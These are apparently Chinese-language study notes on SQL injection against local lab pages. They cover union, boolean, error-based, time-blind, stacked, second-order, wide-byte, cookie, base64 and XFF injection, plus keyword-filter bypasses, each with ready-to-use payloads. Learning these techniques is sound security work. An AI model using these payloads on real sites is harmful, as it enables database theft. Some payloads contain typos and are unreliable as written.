SQL注入基础(WEB安全攻防读书笔记)

0xx1 sql注入基础

  1. 什么是sql注入

sql注入指的是WEB应用程序对用户输入数据呃合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询

  1. sql注入原理
    1. 参数用户可控:前端传给后端的参数是用户可以控制的
    2. 参数带入数据库查询:传入的参数拼接到sql语句,并且带入到数据库查询

 

当传入ID参数为 1’ 时,数据库执行代码:

         select * from users where id = 1’

这不符合数据库语法规范,所以会报错.

当传入参数为 and 1=1 时,执行的sql语句为:

         select * from users where id = 1 and 1=1

因为1=1为真,id=1为真,所以页面会返回id=1相同的结果

当传入1=2时,1=2不成立,所以会返回假,页面就会返回与id=1不同的结果

  1. 与MySQL注入相关知识点
    1. SCHEMATA表,存储用户创建的所有数据库的库名,字段为SCHEMA_NAME
    2. TABLES表,存储所有数据库的库名和表名,库名:TABLE_SCHEMA.表名:TABLE_NAME
    3. COLUMNS表,存储用户创建的所有数据库名,表名和字段名.库名:TABLE_SCHEMA,表名:TABLE_NAME,字段名:COLUMN_NAME
    4. 查询语句
      1. select 字段名 from 库名.表名 where 条件
    5. limit
      1. limit m,n          m指记录开始的位置,n指取n条记录
    6. 需要记住的函数
      1. database() 当前网站使用的数据库
      2. version() 当前MySQL的版本
      3. user() 当前MySQL的用户

 

0xx2 sql注入

  1. union注入

URL地址:http://127.0.0.1/union.php?id=1

    1. 在URL后添加单引号,再次访问,返回结果与之前不同
    2. 在URL后添加and 1=1,再次访问,返回结果与之前相同
    3. 在URL后添加and 1=2,再次访问,返回结果与之前不同

可以得出结论---该网站存在SQL注入漏洞,接着,使用 order by 1-99语句查询该数据表的字段数(如 order by 3页面返回结果与之前相同,order by 4 页面返回结果与之前不同,则字段数为3)

然后将URL中ID值设置为数据库中没有的数据(如-1)使用union select 查询,返回可以输入MySQL语句的位置

访问 id=-1 union select 1,database(),3 查询2位置的数据库名

在2位置粘贴语句(select table_name from information_sacema.tables where table_schema=’sql’ limit 0,1)返回数据库第一个表名

继续在2位置查询字段名

 

  1. Boolean注入

URL地址:http://127.0.0.1/boolean.php?id=1

    1. 输入正常网址,页面返回yes,URL后添加 ’ ,页面返回no
    2. URL后加 and 1=1%23,返回yes,加and1=2%23,返回no
    3. 修改ID值,仍返回yes或no没有数据库返回数据则可以尝试Boolean注入

URL后加入 ’ and length(database())>=1- - +

1的位置可以是任意数字观察页面返回结果判断库名长度

’ and substr(database(),1,1)=’?’- - +

    substr() 截取database()的值(从1开始,截取一个)

    可以使用burpsuite进行爆破(使用a-z,0-9,特殊符号或ASCII码)

    将查询字段名,表名的语句替换到database()位置,查询字段名和表明

 

  1. 报错注入

URL地址:http://127.0.0.1/sql/error.php?username=1

在URL后加 ’ 页面报错

因为程序直接将错误信息输出到页面,所以可以利用报错信息获取数据

         获取当前用户:

                  ’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)- - +

         获取当前库名

                  ’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)- - +

         获取库名表名字段名

                  ’ and updatexml(1,concat(0x7e,(select schema_name from

information_schema.schemata limit 0,1),0x7e),1)- - +

 

  1. 时间盲注

URL地址:http://127.0.0.1/sql/lime.php?id=1

情况与Boolean注入相似的另外一种注入方式

时间盲注多与if(expr1,expr2,expr3)结合使用

         if含义是:如果expr1位TRUE,则返回expr2,否则返回expr3

判断数据库名长度

         if(length(database())>1,sleep(5),1)

判断数据库名

         if(substr(database()1,1)=’s’,sleep(5),1)

 

  1. 堆叠查询注入

URL地址:http://127.0.0.1/dd.php?id=1

堆叠查询可以执行多条语句,多语句之间用分号分开,堆叠查询注入就是利用这个特点,在第二个sql语句中构造自己要执行的语句

  1. 首先访问 id=1’ ,页面返回MySQL错误
  2. 再访问id=1’%23,页面返回结果正常
  3. 这里,除了可以使用堆叠注入,还可以使用Boolean注入,时间注入

注入语句:

   ’;select if(substr(user(),1,1)=’r’,sleep(3) ,1)%23

 

  1. 二次注入攻击

URL地址:http://127.0.0.1/er/1.php?username=test & http://127.0.0.1/er/2.php?id=10

          其中:

1.php功能是注册用户名,也是插入sql语句的地方

                   2.php功能是通过参数ID读取用户名和用户信息

                          通过向1.php注入参数,获得id,来带入2.php得到相应的数据

        

  1. 宽字节注入

URL地址:http://127.0.0.1/kzj.php?id=1

    1. 访问id=1’ ,程序没有报错,而是多了一个转移符”\”
    2. 从返回结果看出来,参数id=1在数据库查询时是被单引号包围的,当传入id=1’时,传入的单引号被转移符(\)转义,导致参数id无法逃逸单引号的包围,一般此处是不存在sql注入的,但是数据库编码是GBK时,可以使用宽字节注入
    3. 宽字节的格式是在地址后先加一个 %df 再加单引号(因为反斜杠的编码是%5c,在GBK编码中,%df%5c 是繁体字”連”所以这时,单引号逃逸,MySQL数据库报错)
    4. 使用and1=1和and1=2继续注入

id=1%df’ and 1=1%23         返回正常

id=1%df’ and 1=2%23         返回错误

所以判断参数ID存在错误

    1. 接着使用order by 判断数据库表中的字段数量

  id=1%df’ order by 3%23

    1. 最后,结合union注入,获取字段名

 

  1. cookie注入

URL地址:http://127.0.0.1/cookie.php

    1. URL中没有GET参数,但是通过burpsuite抓包发现,cookie中存在id=1
    2. 修改cookie中的参数id=1’ , id=1 and 1=1 , id=1 and 1=2观察页面返回信息,判断是否存在sql注入
    3. 然后使用union注入方法注入

 

  1. Base64注入

URL地址:http://127.0.0.1/sql/base64/base64.php?id=MQ%3d%3d

    1. 从URL可以看出,ID参数经过base64编码,解码后,发现id=1
    2. 分别输入 id=1’ , id=1 and 1=1 , id=1 and 1=2 的base64编码,观察页面返回信息,判断是否存在sql注入
    3. 然后使用union注入方法注入

 

  1. XFF注入

URL地址:http://127.0.0.1/sql/xff.php

    1. 通过burpsuite抓包,可以看到HTTP请求头有一个头部参数X-Forwarded-for(XFF)
    2. 他代表客户端真实ip,通过修改XFF头,伪造客户端ip
      1. 修改为127.0.0.1,访问,页面返回正常
      2. 修改为127.0.0.1’,访问,页面报错
      3. 修改为127.0.0.1’ and 1=1# 和127.0.0.1’ and 1=2#
    3. 然后使用union注入方法注入

 

  1. 大小写绕过注入

URL地址:http://127.0.0.1/sql/1.php?id=1

访问id=1’ 页面报错,访问id=1 and 1=1 页面返回’no hack’,发现被拦截,说明有关键词过滤,可以尝试使用大小写绕过(如And 1=1,aNd 1=1,AND 1=1 等)观察页面返回信息,判断是否存在sql注入

然后使用order by 查询字段长度

最后使用union注入方式注入

 

  1. 双写绕过注入

URL地址:http://127.0.0.1/sql/2.php?id=1

访问id=1’ 页面报错,访问 and 1=1 依然报错,and 1=1 变成 1=1

因此可知,and关键字被过滤,这时可以尝试双写注入aanndd->and

继续判断页面是否存在sql注入漏洞

然后使用union注入方式注入

 

  1. 内联注释绕过注入

URL地址:http://127.0.0.1/sql/4.php?id=1

访问id=1,页面报错,访问id=1 and 1=1 和id=1 and 1=2,页面提示’no hack’即,关键字比拦截

尝试使用内联注释绕过,访问id=1 /*!and*/ 1=1页面返回与id=1相同,访问id=1 /*!and*/ 1=1页面返回与id=1不同

后面注入与union注入一致

 

 

小结:

SQL注入大致可分

        Union注入: 宽字节注入,cookie注入,base64注入,XFF注入,

        盲注: 时间注入,Boolean注入,堆叠查询注入, 报错注入ANQU

猜你喜欢

转载自blog.csdn.net/a1453514850/article/details/87885608